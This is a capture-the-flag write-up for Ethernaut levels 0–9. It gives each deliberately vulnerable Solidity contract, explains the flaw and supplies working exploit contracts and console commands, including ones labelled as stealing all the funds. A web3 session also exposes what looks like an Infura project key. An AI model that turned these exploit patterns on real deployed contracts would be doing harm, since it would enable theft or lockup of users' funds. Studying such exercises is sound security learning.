0-9 Ethernaut CTF


0 - Hello Ethernaut

This challenge is to help us to learn how to interact with the console provided by ethernaut. It has several functions, including sendTransaction to send a transaction in the network. It also stores a few required addresses such as player, level, and contract to simplify the interaction for beginners. Solving this challenge is very simple. We need to look at the contract’s abi using the contract.abi command and try out all contract functions, which leads to the last function named password(), which is a public variable view function. It gives the output ethernaut0, the password required for authenticating the contract using the authenticate function: contract.authenticate('ethernaut0').


1 - Fallback

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;

constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

The goal of this challenge is to become the owner of this given contract and drain out all the contract’s funds. This is possible because the receive() function makes the sender the owner. receive() function is called when the transaction data is empty. So, just sending an empty transaction calls the recieve() function, but the contract checks if the transaction has some eth value and the contribution of the sender should be greater than 0. To pass the check, we need to contribute some Ethereum and then call the recieve() with some Ethereum in the transaction to the contract. This makes us the contract owner, and using the withdraw() function, we can steal all the contract’s funds, hence achieving our goal.

1
2
3
await contract.contribute({value: toWei("0.001")})  // this makes the contribution to be grater than 0.
await sendTransaction({from: player, to: instance, value: toWei("0.001")}) // this makes us the owner.
await contract.withdraw() // steals all the funds.

2 - Fallout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

The goal of this challenge is to become the contract owner. If The constructor is misspelt, it is no longer a constructor and a public function that anyone can call. Since that function defines the owner, anyone who calls that function can become the owner of this contract achieving our goal.

1
await contract.Fal1out()

3 - Coin Flip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

Here the consecutiveWins variable is set to 0 in the beginning, and we have to make it 10 to win this challenge. To do that, we need to guess the CoinFlip correctly ten times. This is possible since the contract generates the random number from its blockhash of the previous block. Since we all can get the value of the random number, we can calculate the CoinFlip and give it as a guess ten times to win this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface CoinFlip{

function flip(bool _guess) external returns (bool);

}


contract Exploit {

CoinFlip cf;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor(address _address) {
cf = CoinFlip(_address);
}

function guess() public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

require(cf.flip(side));
return side;
}
}

4 - Telephone

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

The goal of this challenge is to become an owner using the change owner () function. However, there is a check that says tx.origin != msg.sender, which means the transaction’s origin should not be the same address as the msg.sender. This is possible if we use a smart contract to call the Telephone contract to change the owner.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone{

function changeOwner(address _owner) external;

}


contract Exploit {

Telephone cf;


constructor(address _address) {
cf = Telephone(_address);
}

function call_the_phone() public {
cf.changeOwner(msg.sender);
}
}

5 - Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

In this challenge, we are given 20 tokens, which is the toatalSupply which means only 20 tokens are in existence, but somehow we need to get more tokens into our account to win this challenge. Since this contract is not used the SafeMath library, integer overflow and underflow is possible. Simply transferring 21 tokens to another address makes the contract subtract 21 tokens from our account. Since our balance is 20 and subtracting 21 makes the value (-1) % 2**256, which is greater than 0 and passes the requirement of the transaction() function and increases our balance by more than 20.

1
await contract.transfer(instance,21)

6 - Delegation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

This contract’s fallback() function uses the delegatecall to call the delegate contract with the data that we sent, so in simple words we can execute any function in the delegate contract with the context of delegation contract, here the context also includes storage of the contract that means if we change the variable in delegate contract using the delegatecall from delegation contract the result of the change is done in the delegation contract. So, executing the pwn() function through the delegatecall from the delegation contract makes us the owner of the delegation contract achieving our goal.

1
await sendTransaction({from: player, to: instance, data: "0xdd365b8b"})

7 - Force

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

The goal of this challenge is to force this contract to accept some ether, and it is not possible in a general way since it has no payable function implemented, not even a fallback or a receive function. However, there is a way we can force this contract to accept funds, and that is by using the sefldestruct function from another contract. That way, the contract transfers all of its funds to a given address, no matter what.

1
2
3
4
5
6
7
8
9
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exploit {

constructor(address payable _address) payable {
selfdestruct(_address);
}
}

8 - Vault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

The goal of this challenge is to find the passwordand unlock the vault. Since the password is a private variable contract does not give us access, we must remember that this is a decentralised Ethereum network. Everything here is in plaintext and not encrypted, and anyone can read the data from the blockchain database. So we can read the password from the database and unlock the vault to achieve our goal.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

In [101]: from web3.middleware import geth_poa_middleware

In [102]: from web3 import Web3

In [103]: url = 'https://sepolia.infura.io/v3/e1881826831143f285a553a9a8f5a308'

In [104]: io = Web3(Web3.HTTPProvider(url))

In [105]: io.middleware_onion.inject(geth_poa_middleware, layer=0)

In [106]: ad = '0x094C2Afb0eF4711f8DeF82Ab727A19AE4F41C27d'

In [107]: io.eth.get_storage_at(ad,0) # this slot stores the locked bool
Out[107]: HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')

In [108]: io.eth.get_storage_at(ad,1) # this slot stores the password
Out[108]: HexBytes('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
1
await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')

9 - King

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

address king;
uint public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

Anyone who sends more than the prize amount can become the king of this contract, but our goal is to block everyone from getting king and stay as a permanent king of this contract. To do that, we can use the revert function in our contract to block the transfer this contract does when it changes the king. Now our contract is king since it does not receive any ether, no one will be able to become the king of this contract.

1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exploit {

constructor(address payable _address) public payable {
_address.call{value: 0.001 ether}("");
}

receive() external payable {
revert();
}
}